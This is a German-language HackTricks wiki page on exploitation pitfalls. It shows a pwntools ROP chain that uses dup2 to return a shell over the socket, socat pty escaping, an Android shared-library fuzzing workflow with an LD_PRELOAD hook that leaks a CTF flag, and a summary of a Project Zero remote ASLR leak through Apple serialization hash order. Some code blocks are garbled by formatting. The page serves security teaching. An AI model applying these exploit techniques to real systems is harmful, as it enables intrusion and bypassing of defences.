Häufige Exploiting Problems
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
FDs bei Remote Exploitation
Wenn man beispielsweise einen exploit an einen Remote-Server sendet, der system('/bin/sh') aufruft, wird dieser natürlich im Serverprozess ausgeführt, und /bin/sh erwartet Eingaben von stdin (FD: 0) und gibt die Ausgabe in stdout und stderr aus (FDs 1 und 2). Daher kann der Angreifer nicht mit der Shell interagieren.
Eine Möglichkeit, das zu beheben, ist anzunehmen, dass der Server beim Start den FD mit der Nummer 3 (zum Lauschen) erstellt hat und dass Ihre Verbindung dann im FD mit der Nummer 4 landet. Daher ist es möglich, den Syscall dup2 zu verwenden, um stdin (FD 0) und stdout (FD 1) auf das FD 4 (das der Verbindung des Angreifers) zu duplizieren, sodass eine Verbindung zur Shell möglich wird, sobald sie ausgeführt wird.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Beachte, dass socat bereits stdin und stdout auf den Socket überträgt. Allerdings enthält der pty-Modus DELETE characters. Wenn du also ein \x7f ( DELETE -) sendest, wird es das vorherige Zeichen deines Exploits löschen.
Um das zu umgehen, muss das Escape-Zeichen \x16 jedem gesendeten \x7f vorangestellt werden.
Here you can find an example of this behaviour.
Android AArch64 shared-library fuzzing & LD_PRELOAD hooking
Wenn eine Android-App nur eine gestrippte AArch64 .so ausliefert, kannst du trotzdem exportierte Logik direkt auf dem Gerät fuzzing, ohne die APK neu zu bauen. Ein praktischer Workflow:
- Locate callable entry points.
objdump -T libvalidate.so | grep -E "validate"listet schnell die exportierten Funktionen. Decompiler (Ghidra, IDA, BN) zeigen die echte Signatur, z. B.int validate(const uint8_t *buf, uint64_t len). - Write a standalone harness. Lade eine Datei, halte den Buffer am Leben und rufe das exportierte Symbol genau so auf, wie es die App tun würde. Cross-kompiliere mit dem NDK (z. B.
aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie).
Minimaler dateibasierter harness
```c #includeextern int validate(const uint8_t *buf, uint64_t len);
int main(int argc, char **argv) { if (argc < 2) return 1; int fd = open(argv[1], O_RDONLY); if (fd < 0) return 1; struct stat st = {0}; if (fstat(fd, &st) < 0) return 1; uint8_t *buffer = malloc(st.st_size + 1); read(fd, buffer, st.st_size); close(fd); int ret = validate(buffer, st.st_size); free(buffer); return ret; }
</details>
3. **Erwarte Struktur rekonstruieren.** Fehlermeldungen und Vergleiche in Ghidra zeigten, dass die Funktion striktes JSON mit konstanten Schlüsseln (`magic`, `version`, verschachtelt `root.children.*`) und arithmetischen Prüfungen (z. B. `value * 2 == 84` ⇒ `value` muss `42` sein) parst. Durch Einspeisen syntaktisch gültigen JSON, das nach und nach jeden Branch erfüllt, lässt sich das Schema ohne Instrumentierung abbilden.
4. **Anti-debug umgehen, um secrets zu leak.** Da das `.so` `snprintf` importiert, überschreibe es mit `LD_PRELOAD`, um sensible Formatstrings auszulesen, selbst wenn Breakpoints blockiert sind:
<details>
<summary>Minimal snprintf leak hook</summary>
```c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list);
int snprintf(char *str, size_t size, const char *fmt, ...) {
static vsnprintf_t real_vsnprintf;
if (!real_vsnprintf)
real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf");
va_list args;
va_start(args, fmt);
va_list args_copy;
va_copy(args_copy, args);
if (fmt && strstr(fmt, "MHL{")) {
fprintf(stdout, "[LD_PRELOAD] flag: ");
vfprintf(stdout, fmt, args);
fputc('\n', stdout);
}
int ret = real_vsnprintf(str, size, fmt, args_copy);
va_end(args_copy);
va_end(args);
return ret;
}
LD_PRELOAD=./hook.so ./validate_harness payload.json exfiltrates die internal flag und bestätigt das crash oracle, ohne das binary zu patchen.
5. Verkleinere den fuzz-Suchraum. Disassembly zeigte einen wiederverwendeten XOR key in der flag-Vergleichslogik, sodass die ersten sieben Bytes des flag bekannt waren. Fuzz nur die neun unbekannten Bytes.
6. Platziere fuzz-Bytes in einer gültigen JSON-Hülle. Das AFL harness liest genau neun Bytes von stdin, kopiert sie in das flag-Suffix und hard-codiert alle anderen Felder (constants, tree depths, arithmetic preimage). Jede fehlerhafte Leseoperation beendet das Programm sofort, sodass AFL Rechenzeit auf sinnvolle Testfälle verwendet:
Minimaler AFL harness
```c #includeextern int validate(unsigned char *bytes, size_t len);
#define FUZZ_SIZE 9
int main(void) {
uint8_t blob[FUZZ_SIZE];
if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0;
char suffix[FUZZ_SIZE + 1];
memcpy(suffix, blob, FUZZ_SIZE);
suffix[FUZZ_SIZE] = ‘\0’;
char json[512];
int len = snprintf(json, sizeof(json),
“{"magic":16909060,"version":1,"padding":0,"flag":"MHL{827b07c%s}",”
“"root":{"type":16,"level":3,"num_children":1,"children":[”
“{"type":32,"level":2,"num_children":1,"subchildren":[”
“{"type":48,"level":1,"num_children":1,"leaves":[”
“{"type":64,"level":0,"reserved":0,"value":42}]}}]}}”,
suffix);
if (len <= 0 || (size_t)len >= sizeof(json)) return 0;
validate((unsigned char *)json, len);
return 0;
}
</details>
7. **Run AFL with the crash-as-success oracle.** Any input that satisfies every semantic check and guesses the correct nine-byte suffix triggers the deliberate crash; those files land in `output/crashes` and can be replayed through the simple harness to recover the secret.
Dieser Workflow erlaubt es, anti-debug-geschützte JNI-Validatoren schnell zu triagieren, bei Bedarf secrets zu leaken und anschließend nur die relevanten Bytes zu fuzzern — alles ohne das originale APK anzufassen.
## Image/Media Parsing Exploits (DNG/TIFF/JPEG)
Malicious camera formats often ship their own bytecode (opcode lists, map tables, tone curves). When a privileged decoder fails to bound-check metadata-derived dimensions or plane indices, those opcodes become attacker-controlled read/write primitives that can groom the heap, pivot pointers, or even leak ASLR. Samsung's in-the-wild Quram exploit is a recent example of chaining a `DeltaPerColumn` bounds bug, heap spraying via skipped opcodes, vtable remapping, and a JOP chain to `system()`.
<a class="content_ref" href="../mobile-pentesting/android-app-pentesting/abusing-android-media-pipelines-image-parsers.md"><span class="content_ref_label">Abusing Android Media Pipelines Image Parsers</span></a>
## Pointer-Keyed Hash Table Pointer Leaks bei Apple Serialization
### Requirements & attack surface
- A service accepts attacker-controlled property lists (XML or binary) and calls `NSKeyedUnarchiver.unarchivedObjectOfClasses` with a permissive allowlist (e.g., `NSDictionary`, `NSArray`, `NSNumber`, `NSString`, `NSNull`).
- The resulting objects are reused and later serialized again with `NSKeyedArchiver` (or iterated in deterministic bucket order) and sent back to the attacker.
- Some key type in the containers uses pointer values as its hash code. Before March 2025, `CFNull`/`NSNull` fell back to `CFHash(object) == (uintptr_t)object`, and deserialization always returned the shared-cache singleton `kCFNull`, giving a stable kernel-shared pointer without memory corruption or timing.
### Controllable hashing primitives
- **Pointer-based hashing:** `CFNull`’s `CFRuntimeClass` lacks a hash callback, so `CFBasicHash` uses the object address as the hash. Because the singleton lives at a fixed shared-cache address until reboot, its hash is stable across processes.
- **Attacker-controlled hashes:** 32-bit `NSNumber` keys are hashed through `_CFHashInt`, which is deterministic and attacker-controllable. Picking specific integers lets the attacker choose `hash(number) % num_buckets` for any table size.
- **`NSDictionary` implementation:** Immutable dictionaries embed a `CFBasicHash` with a prime bucket count chosen from `__CFBasicHashTableSizes` (e.g., 23, 41, 71, 127, 191, 251, 383, 631, 1087). Collisions are handled with linear probing (`__kCFBasicHashLinearHashingValue`), and serialization walks buckets in numeric order; therefore, the order of serialized keys encodes the bucket index that each key finally occupied.
### Encoding bucket indices into serialization order
By crafting a plist that materializes a dictionary whose buckets alternate between occupied and empty slots, the attacker constrains where linear probing can place `NSNull`. For a 7-bucket example, filling even buckets with `NSNumber` keys produces:
```text
bucket: 0 1 2 3 4 5 6
occupancy: # _ # _ # _ #
Während der Deserialisierung fügt das Opfer den einzelnen NSNull key ein. Sein anfänglicher Bucket ist hash(NSNull) % 7, aber beim Probing wird so lange vorgerückt, bis einer der offenen Indizes {1,3,5} erreicht wird. Die serialisierte Schlüsselreihenfolge offenbart, welcher Slot verwendet wurde, und gibt damit preis, ob der Pointer-Hash modulo 7 in {6,0,1}, {2,3} oder {4,5} liegt. Da der Angreifer die ursprüngliche serialisierte Reihenfolge kontrolliert, wird der NSNull key zuletzt im input plist ausgegeben, sodass die Reihenfolge nach der Reserialisierung allein von der Bucket-Platzierung abhängt.
Exakte Reste mit komplementären Tabellen bestimmen
Ein einzelnes Dictionary leaks nur einen Bereich von Restklassen. Um den genauen Wert von hash(NSNull) % p zu bestimmen, baut man zwei Dictionaries pro primärer Bucket-Größe p: eines mit vorgefüllten geraden Buckets und eines mit vorgefüllten ungeraden Buckets. Für das komplementäre Muster (_ # _ # _ # _) mappen die leeren Slots (0,2,4,6) auf Restmengen {0}, {1,2}, {3,4}, {5,6}. Die Beobachtung der serialisierten Position von NSNull in beiden Dictionaries schränkt den Rest auf einen einzelnen Wert ein, weil der Schnitt der beiden Kandidatenmengen ein eindeutiges r_i für dieses p ergibt.
Der Angreifer bündelt alle Dictionaries in einem NSArray, sodass ein einziger deserialize → serialize-Rundtrip residues für jede gewählte Tabellen-Größe leaks.
Rekonstruktion des 64-Bit Shared-Cache-Pointers
Für jede Primzahl p_i ∈ {23, 41, 71, 127, 191, 251, 383, 631, 1087} stellt der Angreifer hash(NSNull) ≡ r_i (mod p_i) aus der serialisierten Reihenfolge wieder her. Die Anwendung des Chinesischen Restsatzes (CRT) zusammen mit dem erweiterten euklidischen Algorithmus ergibt:
Π p_i = 23·41·71·127·191·251·383·631·1087 = 0x5ce23017b3bd51495 > 2^64
Damit entspricht die kombinierte Restklasse eindeutig dem 64-Bit-Pointer zu kCFNull. Der Project Zero PoC kombiniert iterativ Kongruenzen und gibt dabei Zwischenmoduli aus, um die Konvergenz zur tatsächlichen Adresse zu zeigen (0x00000001eb91ab60 auf dem verwundbaren Build).
Praktischer Ablauf
- Generate crafted input: Erzeuge die angreiferseitige XML plist (zwei dictionaries pro Primzahl,
NSNullzuletzt serialisiert) und konvertiere sie in das Binärformat.
clang -o attacker-input-generator attacker-input-generator.c
./attacker-input-generator > attacker-input.plist
plutil -convert binary1 attacker-input.plist
- Victim round trip: Der Victim-Service deserialisiert mit
NSKeyedUnarchiver.unarchivedObjectOfClassesunter Verwendung der erlaubten Klassenmenge{NSDictionary, NSArray, NSNumber, NSString, NSNull}und serialisiert sofort erneut mitNSKeyedArchiver. - Residue extraction: Das Zurückkonvertieren des zurückgegebenen plist in XML offenbart die Reihenfolge der Dictionary-Keys. Ein Hilfsprogramm wie
extract-pointer.cliest die object table, bestimmt den Index des singulärenNSNull, ordnet jedes Dictionary-Paar seinem Bucket-Rest zu und löst das CRT-System, um den shared-cache pointer wiederherzustellen. - Verification (optional): Das Kompilieren eines kleinen Objective-C-Hilfsprogramms, das
CFHash(kCFNull)ausgibt, bestätigt, dass der leaked Wert mit der tatsächlichen Adresse übereinstimmt.
Kein Memory-safety-Bug ist erforderlich — allein das Beobachten der Serialisierungsreihenfolge von pointer-keyed Strukturen liefert eine primitive Remote-ASLR-Bypass-Funktionalität.
Verwandte Seiten
Common Exploiting Problems Unsafe Relocation Fixups
Reversing Tools & Basic Methods
Quellen
- FD duplication exploit example
- Socat delete-character behaviour
- FuzzMe – Reverse Engineering and Fuzzing an Android Shared Library
- Pointer leaks through pointer-keyed data structures (Project Zero)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks

